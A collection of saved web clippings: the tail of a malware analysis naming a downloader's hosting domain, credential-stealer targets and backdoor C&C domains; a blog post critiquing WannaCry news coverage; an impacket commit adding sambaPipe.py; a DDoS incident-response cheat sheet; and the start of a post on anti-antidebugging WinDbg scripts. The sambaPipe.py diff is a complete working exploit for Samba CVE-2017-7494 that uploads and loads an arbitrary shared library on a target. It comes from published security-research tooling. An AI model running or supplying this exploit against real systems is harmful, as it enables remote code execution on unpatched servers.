As for the payload, only one exploit included an executable file. The file is
a primitive downloader which downloads several files encrypted using Microsoft
CryptoAPI from a level 3 domain \(thirdbase.bugs3.com\) of the free hosting
service bugs3.com. The downloader \(detected by Kaspersky Lab products as
Trojan-Downloader.Win32.Agent.hdzh\) is, as mentioned above, primitive; it
includes a string linking to a local pdb file on the developer’s computer –  
“d:\0.Work\0.Coding\0.Workspace\downLoader\Release\dLoad.pdb” –  
and uses a simple string decryption algorithm:

<img src='img/Temp2_1343.gif' />

**String decryption algorithm in downloader dropped by an SWF exploit**

We managed to obtain two executables out of \(presumably\) three from the
server mentioned above. The first file \(detected as Trojan-
Spy.Win32.Agent.cjuj\) steals mailbox passwords from a variety of programs
\(Foxmail, OperaMail, Opera, Mozilla Firefox, Safari, IncrediMail, Pidgin,
Thunderbird etc.\) and steals data from forms on the following login pages:

`http://twitter.com  
http://facebook.com  
http://passport.yandex.ru/passport  
http://www.yandex.ru  
http://qip.ru  
http://mail.qip.ru  
https://login.nifty.com/service/login  
http://e.mail.ru/cgi-bin/login  
http://mail.ru  
http://mail.126.com  
http://secure.zapak.com/mail/zapakmail.php  
https://lavabit.com/apps/webmail/src/login.php  
http://www.bigstring.com  
http://www.gmx.com  
http://passport.sohu.com/indexaction.action  
http://www.sohu.com  
https://www.zoho.com/login.html  
http://mail.sina.com.cn  
http://members.sina.com/index.php  
http://www.care2.com/passport/login.html  
http://www.mail.com/int  
https://fastmail.fm/mail  
https://www.inbox.com/login.aspx  
http://www.gawab.com  
http://mail.163.com  
http://registration.lycos.com/login.php  
http://www.mail.lycos.com  
https://my.screenname.aol.com/_cqr/login/login.psp  
https://edit.bjs.yahoo.com/config/login  
https://login.yahoo.co.jp/config/login  
https://login.yahoo.com/config/login_verify2  
https://login.live.com/login.srf  
https://www.google.com/accounts/servicelogin `

The second file, a backdoor detected as Backdoor.Win32.Agent.dfdq, works in
conjunction with the first. We discovered that it uses C&C servers located at
the following addresses:

` sales.eu5.org  
www.mobilitysvc.com  
javaupdate.flashserv.net  
`

In the process of analyzing the bot, we managed to receive a JPEG file with a
.dll embedded in it from several servers. If the file is opened in a standard
viewer, you will see an image of a heart:

<img src='img/Temp2_1343.gif' />

However, in reality, a dynamic library named kboc.dll \(detected as
Backdoor.Win32.Agent.dfdr\) is extracted from the JPEG and injected into the
svchost.exe process. The library communicates to the C&C; however, we have not
been able to obtain any additional files. We are continuing to follow the
bot’s activity.

P.S. Kudos to my colleagues Alexander Polyakov and Anton Ivanov for
discovering the 0-day vulnerability.

# Bad malware, worse reporting | Light Blue Touchpaper
**Created:**| _5/13/2017 4:49:15 PM_  
---|---  
**Updated:**| _5/13/2017 4:49:15 PM_  
**Author:**| __  
**Tags:**| _opinion new? ransomware_  
  

  

# Bad malware, worse reporting

The Wannacry malware that has infected some UK hospital computers should
interest not just security researchers but also people interested in what
drives fake news.

Some made errors of fact: the Daily Mail inititally reported the ransom demand
as 300 bitcoin, or £415,000, rather than $300 in bitcoin. Others made errors
of logic: the Indy, for example, reported that “Up to 90 percent of NHS
computers still run XP, released in 2001”, citing as its source a BMJ article
which stated that 90% of trusts run this version of Windows. And some made
errors of concurrency. After dinner I found inquiries from journalists about
my fight with the Prime Minister. My what? Eventually I found that the
Guardian had followed something Mrs May’s spokesman had said \(“not aware of
any evidence that patient data has been compromised”\) with something I’d said
a couple of hours earlier \(“The NHS are saying that patient privacy hasn’t
been compromised, but if significant numbers of hospitals have been
negligently running unpatched computers for two months after the patch came
out, how do they know?”\). The Home Secretary later helpfully glossed the PM’s
stonewall as “No patient data has been accessed or transferred in any way” but
leaving the get-out-of-jail card “that’s the information we’ve been given.”

Many papers caught the international political aspect: that the vulnerability
was discovered by the NSA, kept secret rather than fixed \(contrary to the
advice of Obama’s NSA review group\), then stolen from the CIA by the Russians
and published via wikileaks. Scary stuff, eh? And we read of some surprising
overreactions, such as the GP who switched off his networking as a precaution
and found he couldn’t access any of his patients’ records.

As luck would have it, yesterday was the day that I gave my talk on entomology
– the classification of software bugs and other security vulnerabilities – to
my first-year security and software engineering class. So let’s try to look at
it calmly as I’d expect of a student writing an assignment.

The first point is that there’s not a really lot of this malware. The NHS has
over 200 hospitals, and the typical IT director is a senior clinician
supported by technicians. Yet despite having their IT run by well-meaning
amateurs, only 16 NHS organisations have been hit, according to the Register
and Kaspersky – including several hospitals.

So the second point is that when the Indy says that “The NHS is a perfect
combination of sensitive data and insecure storage. And there’s very little
they can do about it” the answer is simple: in well over 90% of NHS
organisations, the well-meaning amateurs managed perfectly well. What they did
was to keep their systems patched up-to-date; simple hygiene, like washing
your hands after going to the toilet.

The third takeaway is that it’s worth looking at the actual code. A UK
researcher did so and discovered a kill switch.

Now I am just listening on the BBC morning news to a former deputy director of
GCHQ who first cautions against alarmist headlines and argues that everyone
develops malware; that a patch had been issued by Microsoft halfway through
March; that you can deal with ransomware by keeping decent backups; and that
paying ransom will embolden the bad guys. However he claims that it’s clearly
an organised criminal attack. \(when it could be one guy in his bedroom
somewhere\) and says that the NCSC should look at whether there is some
countermeasure that everyone should have taken \(for answer see above\).

So our fourth takeaway is that although the details matter, so do the
economics of security. When something unexpected happens, you should not just
get your head down and look at the code, but look up and observe people’s
agendas. Politicians duck and weave; NHS managers blame the system rather than
step up to the plate; the NHS as a whole turns every incident into a plea for
more money; the spooks want to avoid responsibility for the abuse of their
stolen cyberweaponz, but still big up the threat and get more influence for a
part of their agency that’s presented as solely defensive. And we academics?
Hey, we just want the students to pay attention to what we’re teaching them.

Hope this helps\!

  

# Adding sambaPipe example · CoreSecurity/impacket@32e71ef

**Created:**| _5/31/2017 6:22:48 PM_  
---|---  
**Updated:**| _5/31/2017 6:22:48 PM_  
**Author:**| __  
**Tags:**| _python programming_  
  

  

Browse files

Adding sambaPipe example

[code]

    This script will exploit CVE-2017-7494, uploading and executing the shared library specified by the user through
    the -so parameter.
    
    The script will use SMB1 or SMB2/3 depending on the target's availability. Also, the target share pathname is
    retrieved by using NetrShareEnum() API with info level 2.
    
    Example:
    
    ./sambaPipe.py -so poc/libpoc.linux64.so bill@10.90.1.1
    
    It will upload the libpoc.linux64.so file located in the poc directory against the target 10.90.1.1. The username
    to use for authentication will be 'bill' and the password will be asked.
    
    ./sambaPipe.py -so poc/libpoc.linux64.so 10.90.1.1
    
    Same as before, but anonymous authentication will be used.
[/code]

  * master

1 parent ee57cae commit 32e71ef2369b10d8eaf2cf5a909252727e21f82d <img
src='img/11577828.jpg' width='24' height='24' alt='@asolino' /> asolino
committed 2 days ago

Unified  Split

Showing with **290 additions** and **0 deletions**.

ViewView the whole file at version 32e71ef

290 290 additions & 0 deletions examples/sambaPipe.py

... | @@ -0,0 +1,290 @@  
---|---  
|  | 1 |  +\#\!/usr/bin/env python  
|  | 2 |  +\# Copyright \(c\) 2003-2017 CORE Security Technologies  
|  | 3 |  +\#  
|  | 4 |  +\# This software is provided under under a slightly modified version  
|  | 5 |  +\# of the Apache Software License. See the accompanying LICENSE file  
|  | 6 |  +\# for more information.  
|  | 7 |  +\#  
|  | 8 |  +\#  
|  | 9 |  +\# Author:  
|  | 10 |  +\# beto \(@agsolino\)  
|  | 11 |  +\#  
|  | 12 |  +\# Description:  
|  | 13 |  +\# This script will exploit CVE-2017-7494, uploading and executing the shared library specified by the user through  
|  | 14 |  +\# the -so parameter.  
|  | 15 |  +\#  
|  | 16 |  +\# The script will use SMB1 or SMB2/3 depending on the target's availability. Also, the target share pathname is  
|  | 17 |  +\# retrieved by using NetrShareEnum\(\) API with info level 2.  
|  | 18 |  +\#  
|  | 19 |  +\# Example:  
|  | 20 |  +\#  
|  | 21 |  +\# ./sambaPipe.py -so poc/libpoc.linux64.so bill@10.90.1.1  
|  | 22 |  +\#  
|  | 23 |  +\# It will upload the libpoc.linux64.so file located in the poc directory against the target 10.90.1.1. The username  
|  | 24 |  +\# to use for authentication will be 'bill' and the password will be asked.  
|  | 25 |  +\#  
|  | 26 |  +\# ./sambaPipe.py -so poc/libpoc.linux64.so 10.90.1.1  
|  | 27 |  +\#  
|  | 28 |  +\# Same as before, but anonymous authentication will be used.  
|  | 29 |  +\#  
|  | 30 |  +\#  
|  | 31 |  +  
|  | 32 |  +import argparse  
|  | 33 |  +import logging  
|  | 34 |  +import sys  
|  | 35 |  +from os import path  
|  | 36 |  +  
|  | 37 |  +from impacket import version  
|  | 38 |  +from impacket.examples import logger  
|  | 39 |  +from impacket.nt\_errors import STATUS\_SUCCESS  
|  | 40 |  +from impacket.smb import FILE\_OPEN, SMB\_DIALECT, SMB, SMBCommand, SMBNtCreateAndX\_Parameters, SMBNtCreateAndX\_Data, \  
|  | 41 |  \+ FILE\_READ\_DATA, FILE\_SHARE\_READ, FILE\_NON\_DIRECTORY\_FILE, FILE\_WRITE\_DATA, FILE\_DIRECTORY\_FILE  
|  | 42 |  +from impacket.smb3structs import SMB2\_IL\_IMPERSONATION, SMB2\_CREATE, SMB2\_FLAGS\_DFS\_OPERATIONS, SMB2Create, SMB2Packet, \  
|  | 43 |  \+ SMB2Create\_Response, SMB2\_OPLOCK\_LEVEL\_NONE, SMB2\_SESSION\_FLAG\_ENCRYPT\_DATA  
|  | 44 |  +from impacket.smbconnection import SMBConnection  
|  | 45 |  +  
|  | 46 |  +  
|  | 47 |  +class PIPEDREAM:  
|  | 48 |  \+ def \_\_init\_\_\(self, smbClient, options\):  
|  | 49 |  \+ self.\_\_smbClient = smbClient  
|  | 50 |  \+ self.\_\_options = options  
|  | 51 |  +  
|  | 52 |  \+ def isShareWritable\(self, shareName\):  
|  | 53 |  \+ logging.debug\('Checking %s for write access' % shareName\)  
|  | 54 |  \+ try:  
|  | 55 |  \+ logging.debug\('Connecting to share %s' % shareName\)  
|  | 56 |  \+ tid = self.\_\_smbClient.connectTree\(shareName\)  
|  | 57 |  \+ except Exception, e:  
|  | 58 |  \+ logging.debug\(str\(e\)\)  
|  | 59 |  \+ return False  
|  | 60 |  +  
|  | 61 |  \+ try:  
|  | 62 |  \+ self.\_\_smbClient.openFile\(tid, '\\\', FILE\_WRITE\_DATA, creationOption=FILE\_DIRECTORY\_FILE\)  
|  | 63 |  \+ writable = True  
|  | 64 |  \+ except Exception, e:  
|  | 65 |  \+ writable = False  
|  | 66 |  \+ pass  
|  | 67 |  +  
|  | 68 |  \+ return writable  
|  | 69 |  +  
|  | 70 |  \+ def findSuitableShare\(self\):  
|  | 71 |  \+ from impacket.dcerpc.v5 import transport, srvs  
|  | 72 |  \+ rpctransport = transport.SMBTransport\(self.\_\_smbClient.getRemoteName\(\), self.\_\_smbClient.getRemoteHost\(\),  
|  | 73 |  \+ filename=r'\srvsvc', smb\_connection=self.\_\_smbClient\)  
|  | 74 |  \+ dce = rpctransport.get\_dce\_rpc\(\)  
|  | 75 |  \+ dce.connect\(\)  
|  | 76 |  \+ dce.bind\(srvs.MSRPC\_UUID\_SRVS\)  
|  | 77 |  \+ resp = srvs.hNetrShareEnum\(dce, 2\)  
|  | 78 |  \+ for share in resp\['InfoStruct'\]\['ShareInfo'\]\['Level2'\]\['Buffer'\]:  
|  | 79 |  \+ if self.isShareWritable\(share\['shi2\_netname'\]\[:-1\]\):  
|  | 80 |  \+ sharePath = share\['shi2\_path'\].split\(':'\)\[-1:\]\[0\]\[:-1\]  
|  | 81 |  \+ return share\['shi2\_netname'\]\[:-1\], sharePath  
|  | 82 |  +  
|  | 83 |  \+ raise Exception\('No suitable share found, aborting\!'\)  
|  | 84 |  +  
|  | 85 |  \+ def uploadSoFile\(self, shareName\):  
|  | 86 |  \+ \# Let's extract the filename from the input file pathname  
|  | 87 |  \+ fileName = path.basename\(self.\_\_options.so.replace\('\\\', '/'\)\)  
|  | 88 |  \+ logging.info\('Uploading %s to target' % fileName\)  
|  | 89 |  \+ fh = open\(self.\_\_options.so\)  
|  | 90 |  \+ self.\_\_smbClient.putFile\(shareName, fileName, fh.read\)  
|  | 91 |  \+ fh.close\(\)  
|  | 92 |  \+ return fileName  
|  | 93 |  +  
|  | 94 |  \+ def create\(self, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, fileAttributes,  
|  | 95 |  \+ impersonationLevel=SMB2\_IL\_IMPERSONATION, securityFlags=0, oplockLevel=SMB2\_OPLOCK\_LEVEL\_NONE,  
|  | 96 |  \+ createContexts=None\):  
|  | 97 |  +  
|  | 98 |  \+ packet = self.\_\_smbClient.getSMBServer\(\).SMB\_PACKET\(\)  
|  | 99 |  \+ packet\['Command'\] = SMB2\_CREATE  
|  | 100 |  \+ packet\['TreeID'\] = treeId  
|  | 101 |  \+ if self.\_\_smbClient.\_SMBConnection.\_Session\['TreeConnectTable'\]\[treeId\]\['IsDfsShare'\] is True:  
|  | 102 |  \+ packet\['Flags'\] = SMB2\_FLAGS\_DFS\_OPERATIONS  
|  | 103 |  +  
|  | 104 |  \+ smb2Create = SMB2Create\(\)  
|  | 105 |  \+ smb2Create\['SecurityFlags'\] = 0  
|  | 106 |  \+ smb2Create\['RequestedOplockLevel'\] = oplockLevel  
|  | 107 |  \+ smb2Create\['ImpersonationLevel'\] = impersonationLevel  
|  | 108 |  \+ smb2Create\['DesiredAccess'\] = desiredAccess  
|  | 109 |  \+ smb2Create\['FileAttributes'\] = fileAttributes  
|  | 110 |  \+ smb2Create\['ShareAccess'\] = shareMode  
|  | 111 |  \+ smb2Create\['CreateDisposition'\] = creationDisposition  
|  | 112 |  \+ smb2Create\['CreateOptions'\] = creationOptions  
|  | 113 |  +  
|  | 114 |  \+ smb2Create\['NameLength'\] = len\(fileName\) \* 2  
|  | 115 |  \+ if fileName \!= '':  
|  | 116 |  \+ smb2Create\['Buffer'\] = fileName.encode\('utf-16le'\)  
|  | 117 |  \+ else:  
|  | 118 |  \+ smb2Create\['Buffer'\] = '\x00'  
|  | 119 |  +  
|  | 120 |  \+ if createContexts is not None:  
|  | 121 |  \+ smb2Create\['Buffer'\] += createContexts  
|  | 122 |  \+ smb2Create\['CreateContextsOffset'\] = len\(SMB2Packet\(\)\) + SMB2Create.SIZE + smb2Create\['NameLength'\]  
|  | 123 |  \+ smb2Create\['CreateContextsLength'\] = len\(createContexts\)  
|  | 124 |  \+ else:  
|  | 125 |  \+ smb2Create\['CreateContextsOffset'\] = 0  
|  | 126 |  \+ smb2Create\['CreateContextsLength'\] = 0  
|  | 127 |  +  
|  | 128 |  \+ packet\['Data'\] = smb2Create  
|  | 129 |  +  
|  | 130 |  \+ packetID = self.\_\_smbClient.getSMBServer\(\).sendSMB\(packet\)  
|  | 131 |  \+ ans = self.\_\_smbClient.getSMBServer\(\).recvSMB\(packetID\)  
|  | 132 |  \+ if ans.isValidAnswer\(STATUS\_SUCCESS\):  
|  | 133 |  \+ createResponse = SMB2Create\_Response\(ans\['Data'\]\)  
|  | 134 |  +  
|  | 135 |  \+ \# The client MUST generate a handle for the Open, and it MUST  
|  | 136 |  \+ \# return success and the generated handle to the calling application.  
|  | 137 |  \+ \# In our case, str\(FileID\)  
|  | 138 |  \+ return str\(createResponse\['FileID'\]\)  
|  | 139 |  +  
|  | 140 |  \+ def openPipe\(self, sharePath, fileName\):  
|  | 141 |  \+ \# We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style  
|  | 142 |  \+ \# to make things easier for the caller. Not this time ;\)  
|  | 143 |  \+ treeId = self.\_\_smbClient.connectTree\('IPC$'\)  
|  | 144 |  \+ sharePath = sharePath.replace\('\\\', '/'\)  
|  | 145 |  \+ pathName = path.join\(sharePath, fileName\)  
|  | 146 |  \+ logging.info\('Final path to load is %s' % pathName\)  
|  | 147 |  \+ logging.info\('Triggering bug now, cross your fingers'\)  
|  | 148 |  +  
|  | 149 |  \+ if self.\_\_smbClient.getDialect\(\) == SMB\_DIALECT:  
|  | 150 |  \+ \_, flags2 = self.\_\_smbClient.getSMBServer\(\).get\_flags\(\)  
|  | 151 |  +  
|  | 152 |  \+ pathName = pathName.encode\('utf-16le'\) if flags2 & SMB.FLAGS2\_UNICODE else pathName  
|  | 153 |  +  
|  | 154 |  \+ ntCreate = SMBCommand\(SMB.SMB\_COM\_NT\_CREATE\_ANDX\)  
|  | 155 |  \+ ntCreate\['Parameters'\] = SMBNtCreateAndX\_Parameters\(\)  
|  | 156 |  \+ ntCreate\['Data'\] = SMBNtCreateAndX\_Data\(flags=flags2\)  
|  | 157 |  \+ ntCreate\['Parameters'\]\['FileNameLength'\] = len\(pathName\)  
|  | 158 |  \+ ntCreate\['Parameters'\]\['AccessMask'\] = FILE\_READ\_DATA  
|  | 159 |  \+ ntCreate\['Parameters'\]\['FileAttributes'\] = 0  
|  | 160 |  \+ ntCreate\['Parameters'\]\['ShareAccess'\] = FILE\_SHARE\_READ  
|  | 161 |  \+ ntCreate\['Parameters'\]\['Disposition'\] = FILE\_NON\_DIRECTORY\_FILE  
|  | 162 |  \+ ntCreate\['Parameters'\]\['CreateOptions'\] = FILE\_OPEN  
|  | 163 |  \+ ntCreate\['Parameters'\]\['Impersonation'\] = SMB2\_IL\_IMPERSONATION  
|  | 164 |  \+ ntCreate\['Parameters'\]\['SecurityFlags'\] = 0  
|  | 165 |  \+ ntCreate\['Parameters'\]\['CreateFlags'\] = 0x16  
|  | 166 |  \+ ntCreate\['Data'\]\['FileName'\] = pathName  
|  | 167 |  +  
|  | 168 |  \+ if flags2 & SMB.FLAGS2\_UNICODE:  
|  | 169 |  \+ ntCreate\['Data'\]\['Pad'\] = 0x0  
|  | 170 |  +  
|  | 171 |  \+ return self.\_\_smbClient.getSMBServer\(\).nt\_create\_andx\(treeId, pathName, cmd=ntCreate\)  
|  | 172 |  \+ else:  
|  | 173 |  \+ return self.create\(treeId, pathName, desiredAccess=FILE\_READ\_DATA, shareMode=FILE\_SHARE\_READ,  
|  | 174 |  \+ creationOptions=FILE\_OPEN, creationDisposition=FILE\_NON\_DIRECTORY\_FILE, fileAttributes=0\)  
|  | 175 |  +  
|  | 176 |  \+ def run\(self\):  
|  | 177 |  \+ logging.info\('Finding a writeable share at target'\)  
|  | 178 |  +  
|  | 179 |  \+ shareName, sharePath = self.findSuitableShare\(\)  
|  | 180 |  +  
|  | 181 |  \+ logging.info\('Found share %s with path %s' % \(shareName, sharePath\)\)  
|  | 182 |  +  
|  | 183 |  \+ fileName = self.uploadSoFile\(shareName\)  
|  | 184 |  +  
|  | 185 |  \+ logging.info\('Share path is %s' % sharePath\)  
|  | 186 |  \+ try:  
|  | 187 |  \+ self.openPipe\(sharePath, fileName\)  
|  | 188 |  \+ except Exception, e:  
|  | 189 |  \+ if str\(e\).find\('STATUS\_OBJECT\_NAME\_NOT\_FOUND'\) >= 0:  
|  | 190 |  \+ logging.info\('Expected STATUS\_OBJECT\_NAME\_NOT\_FOUND received'\)  
|  | 191 |  \+ else:  
|  | 192 |  \+ logging.info\('Target likely not vulnerable, Unexpected %s' % str\(e\)\)  
|  | 193 |  \+ finally:  
|  | 194 |  \+ logging.info\('Removing file from target'\)  
|  | 195 |  \+ self.\_\_smbClient.deleteFile\(shareName, fileName\)  
|  | 196 |  +  
|  | 197 |  +  
|  | 198 |  +\# Process command-line arguments.  
|  | 199 |  +if \_\_name\_\_ == '\_\_main\_\_':  
|  | 200 |  \+ \# Init the example's logger theme  
|  | 201 |  \+ logger.init\(\)  
|  | 202 |  \+ print version.BANNER  
|  | 203 |  +  
|  | 204 |  \+ parser = argparse.ArgumentParser\(add\_help=True, description="Samba Pipe exploit"\)  
|  | 205 |  +  
|  | 206 |  \+ parser.add\_argument\('target', action='store', help='\[\[domain/\]username\[:password\]@\]<targetName or address>'\)  
|  | 207 |  \+ parser.add\_argument\('-so', action='store', required = True, help='so filename to upload and load'\)  
|  | 208 |  \+ parser.add\_argument\('-debug', action='store\_true', help='Turn DEBUG output ON'\)  
|  | 209 |  +  
|  | 210 |  \+ group = parser.add\_argument\_group\('authentication'\)  
|  | 211 |  +  
|  | 212 |  \+ group.add\_argument\('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH'\)  
|  | 213 |  \+ group.add\_argument\('-no-pass', action="store\_true", help='don\'t ask for password \(useful for -k\)'\)  
|  | 214 |  \+ group.add\_argument\('-k', action="store\_true",  
|  | 215 |  \+ help='Use Kerberos authentication. Grabs credentials from ccache file '  
|  | 216 |  \+ '\(KRB5CCNAME\) based on target parameters. If valid credentials '  
|  | 217 |  \+ 'cannot be found, it will use the ones specified in the command '  
|  | 218 |  \+ 'line'\)  
|  | 219 |  \+ group.add\_argument\('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '  
|  | 220 |  \+ '\(128 or 256 bits\)'\)  
|  | 221 |  +  
|  | 222 |  \+ group = parser.add\_argument\_group\('connection'\)  
|  | 223 |  +  
|  | 224 |  \+ group.add\_argument\('-dc-ip', action='store', metavar="ip address",  
|  | 225 |  \+ help='IP Address of the domain controller. If ommited it use the domain part \(FQDN\) specified in '  
|  | 226 |  \+ 'the target parameter'\)  
|  | 227 |  \+ group.add\_argument\('-target-ip', action='store', metavar="ip address",  
|  | 228 |  \+ help='IP Address of the target machine. If ommited it will use whatever was specified as target. '  
|  | 229 |  \+ 'This is useful when target is the NetBIOS name and you cannot resolve it'\)  
|  | 230 |  \+ group.add\_argument\('-port', choices=\['139', '445'\], nargs='?', default='445', metavar="destination port",  
|  | 231 |  \+ help='Destination port to connect to SMB Server'\)  
|  | 232 |  +  
|  | 233 |  \+ if len\(sys.argv\) == 1:  
|  | 234 |  \+ parser.print\_help\(\)  
|  | 235 |  \+ sys.exit\(1\)  
|  | 236 |  +  
|  | 237 |  \+ options = parser.parse\_args\(\)  
|  | 238 |  +  
|  | 239 |  \+ if options.debug is True:  
|  | 240 |  \+ logging.getLogger\(\).setLevel\(logging.DEBUG\)  
|  | 241 |  \+ else:  
|  | 242 |  \+ logging.getLogger\(\).setLevel\(logging.INFO\)  
|  | 243 |  +  
|  | 244 |  \+ import re  
|  | 245 |  +  
|  | 246 |  \+ domain, username, password, address = re.compile\('\(?:\(?:\(\[^/@:\]\*\)/\)?\(\[^@:\]\*\)\(?::\(\[^@\]\*\)\)?@\)?\(.\*\)'\).match\(  
|  | 247 |  \+ options.target\).groups\(''\)  
|  | 248 |  +  
|  | 249 |  \+ \# In case the password contains '@'  
|  | 250 |  \+ if '@' in address:  
|  | 251 |  \+ password = password + '@' + address.rpartition\('@'\)\[0\]  
|  | 252 |  \+ address = address.rpartition\('@'\)\[2\]  
|  | 253 |  +  
|  | 254 |  \+ if options.target\_ip is None:  
|  | 255 |  \+ options.target\_ip = address  
|  | 256 |  +  
|  | 257 |  \+ if domain is None:  
|  | 258 |  \+ domain = ''  
|  | 259 |  +  
|  | 260 |  \+ if password == '' and username \!= '' and options.hashes is None and options.no\_pass is False and options.aesKey is None:  
|  | 261 |  \+ from getpass import getpass  
|  | 262 |  +  
|  | 263 |  \+ password = getpass\("Password:"\)  
|  | 264 |  +  
|  | 265 |  \+ if options.aesKey is not None:  
|  | 266 |  \+ options.k = True  
|  | 267 |  +  
|  | 268 |  \+ if options.hashes is not None:  
|  | 269 |  \+ lmhash, nthash = options.hashes.split\(':'\)  
|  | 270 |  \+ else:  
|  | 271 |  \+ lmhash = ''  
|  | 272 |  \+ nthash = ''  
|  | 273 |  +  
|  | 274 |  \+ try:  
|  | 275 |  \+ smbClient = SMBConnection\(address, options.target\_ip, sess\_port=int\(options.port\)\)\#, preferredDialect=SMB\_DIALECT\)  
|  | 276 |  \+ if options.k is True:  
|  | 277 |  \+ smbClient.kerberosLogin\(username, password, domain, lmhash, nthash, options.aesKey, options.dc\_ip\)  
|  | 278 |  \+ else:  
|  | 279 |  \+ smbClient.login\(username, password, domain, lmhash, nthash\)  
|  | 280 |  +  
|  | 281 |  \+ if smbClient.getDialect\(\) \!= SMB\_DIALECT:  
|  | 282 |  \+ \# Let's disable SMB3 Encryption for now  
|  | 283 |  \+ smbClient.\_SMBConnection.\_Session\['SessionFlags'\] &= ~SMB2\_SESSION\_FLAG\_ENCRYPT\_DATA  
|  | 284 |  \+ pipeDream = PIPEDREAM\(smbClient, options\)  
|  | 285 |  \+ pipeDream.run\(\)  
|  | 286 |  \+ except Exception, e:  
|  | 287 |  \+ \#import traceback  
|  | 288 |  \+ \#print traceback.print\_exc\(\)  
|  | 289 |  \+ logging.error\(str\(e\)\)  
|  | 290 |  +  
####  0 comments on commit `32e71ef`

<img src='img/11855163.png' width='44' height='44' alt='@norandom' />

Attach files by dragging & dropping, selecting them, or pasting from the
clipboard.

Styling with Markdown is supported

You’re not receiving notifications from this thread.

  

# Lenny Zeltser - Network DDoS Incident Response Cheat Sheet

**Created:**| _5/9/2009 10:39:14 AM_  
---|---  
**Updated:**| _5/9/2009 10:39:27 AM_  
**Author:**| __  
**Tags:**| _cheat sheets_  
  

# Network DDoS Incident Response Cheat Sheet

This cheat sheet offers tips for battling a network distributed denial-of-
service \(DDoS\) attack on your infrastructure. To print, use the one-sheet
PDF version; you can also edit the Word version for you own needs.

If you are an incident handler looking to take on the management of a non-DDoS
security incident, see the related incident questionnaire cheat sheet.

## General Considerations

DDoS attacks often take the form of flooding the network with unwanted
traffic; some attacks focus on overwhelming resources of a specific system.

It will be very difficult to defend against the attack without specialized
equipment or your ISP's help.

Often, too many people participate during incident response; limit the number
of people on the team.

DDoS incidents may span days. Consider how your team will handle a prolonged
attack. Humans get tired.

Understand your equipment's capabilities in mitigating a DDoS attack. Many
under-appreciate the capabilities of their devices, or overestimate their
performance.

## Prepare for a Future Incident

If you do not prepare for a DDoS incident in advance, you will waste precious
time during the attack.

Contact your ISP to understand the paid and free DDoS mitigation it offers and
what process you should follow.

Create a whitelist of the source IPs and protocols you must allow if
prioritizing traffic during an attack. Include your big customers, critical
partners, etc.

Confirm DNS time-to-live \(TTL\) settings for the systems that might be
attacked. Lower the TTLs, if necessary, to facilitate DNS redirection if the
original IPs get attacked.

Establish contacts for your ISP, law enforcement, IDS, firewall, systems, and
network teams.

Document your IT infrastructure details, including business owners, IP
addresses and circuit IDs; prepare a network topology diagram and an asset
inventory.

Understand business implications \(e.g., money lost\) of likely DDoS attack
scenarios.

If the risk of a DDoS attack is high, consider purchasing specialized DDoS
mitigation products or services.

Collaborate with your BCP/DR planning team, to understand their perspective on
DDoS incidents.

Harden the configuration of network, OS, and application components that may
be targeted by DDoS.

Baseline your current infrastructure's performance, so you can identify the
attack faster and more accurately.

## Analyze the Attack

Understand the logical flow of the DDoS attack and identify the infrastructure
components affected by it.

Review the load and logs of servers, routers, firewalls, applications, and
other affected infrastructure.

Identify what aspects of the DDoS traffic differentiate it from benign traffic
\(e.g., specific source IPs, destination ports, URLs, TCP flags, etc.\).

If possible, use a network analyzer \(e.g. tcpdump, ntop, Aguri, MRTG, a
NetFlow tool\) to review the traffic.

## Mitigate the Attack's Effects

While it is very difficult to fully block DDoS attacks, you may be able to
mitigate their effects.

Attempt to throttle or block DDoS traffic as close to the network's "cloud" as
possible via a router, firewall, load balancer, specialized device, etc.

Terminate unwanted connections or processes on servers and routers and tune
their TCP/IP settings.

If possible, switch to alternate sites or networks using DNS or another
mechanism. Blackhole DDoS traffic targeting the original IPs.

If the bottle neck is a particular a feature of an application, temporarily
disable that feature.

If possible, add servers or network bandwidth to handle the DDoS load. \(This
is an arms race, though.\)

If possible, route traffic through a traffic-scrubbing service or product via
DNS or routing changes.

If adjusting defenses, make one change at a time, so you know the cause of the
changes you may observe.

Configure egress filters to block the traffic your systems may send in
response to DDoS traffic, to avoid adding unnecessary packets to the network.

## Wrap-Up the Incident and Adjust

Consider what preparation steps you could have taken to respond to the
incident faster or more effectively.

If necessary, adjust assumptions that affected the decisions made during DDoS
incident preparation.

Assess the effectiveness of your DDoS response process, involving people and
communications.

Consider what relationships inside and outside your organizations could help
you with future incidents.

## Key DDoS Incident Response Steps

  1. Preparation: Establish contacts, define procedures, and gather tools to save time during an attack.
  2. Analysis: Detect the incident, determine its scope, and involve the appropriate parties.
  3. Mitigation: Mitigate the attack's effects on the targeted environment.
  4. Wrap-up: Document the incident's details, discuss lessons learned, and adjust plans and defenses.

## Additional DDoS Response References

Denial-of-Service Attack-Detection Techniques

A Summary of DoS/DDoS Prevention, Monitoring and Mitigation Techniques in a
Service Provider Environment

Network Protocols and Tools Cheat Sheets

# Anti-Antidebugging WinDbg Scripts

**Created:**| _7/17/2017 11:13:25 AM_  
---|---  
**Updated:**| _7/17/2017 11:13:25 AM_  
**Author:**| __  
**Tags:**| _bookmark windbg_  
  

  

1 Vote

  

In this post I would like to share some scripts for WinDbg that they were
useful for me while I was reversing malware with antidebug tricks. In the
future I would like to write additional scripts related to this issue, and I
will update this post to have all together. I hope these scripts will be
useful for you too <img src='img/1102_1f642.svg' width='16' height='16'
alt='🙂' />

First all, I am not an expert in Windows Kernel. If you find errors in the
scripts or I am doing very crazy things that could destroy the debuggee
machine, please tell me to fix them <img src='img/1102_1f642.svg' width='16'
height='16' alt='🙂' />

These scripts work with WinDbg \(not local\) Kernel Debugging. You need a
machine running WinDbg, connected to another machine being debugged. In my
case I work with a Windows host machine running WinDbg, and I debug a VMware
machine \(I use VirtualKD for the debugger connection because connection is
much faster\). But there are a lot of configurations.

I recommend these articles about setting the environment:

  * VirtualKD – Installation
  * Starting with Windows Kernel Exploitation – part 1 – setting up the lab
  * Setting Up Kernel-Mode Debugging of a Virtual Machine Manually

Now, let’s explain each script.

# Anti-rdtsc-trick script

Parameters: $$>a<anti\_antidebug\_rdtsc.wdbg

Script:

https://github.com/vallejocc/windbg\_scripts/blob/master/anti\_antidebug\_rdtsc.wdbg

There is a lot of information on internet about this trick. Here you can read
pafish code using this trick:

https://github.com/a0rtega/pafish/blob/master/pafish/cpu.c

There are tools that install a driver for skipping this trick. The WinDbg
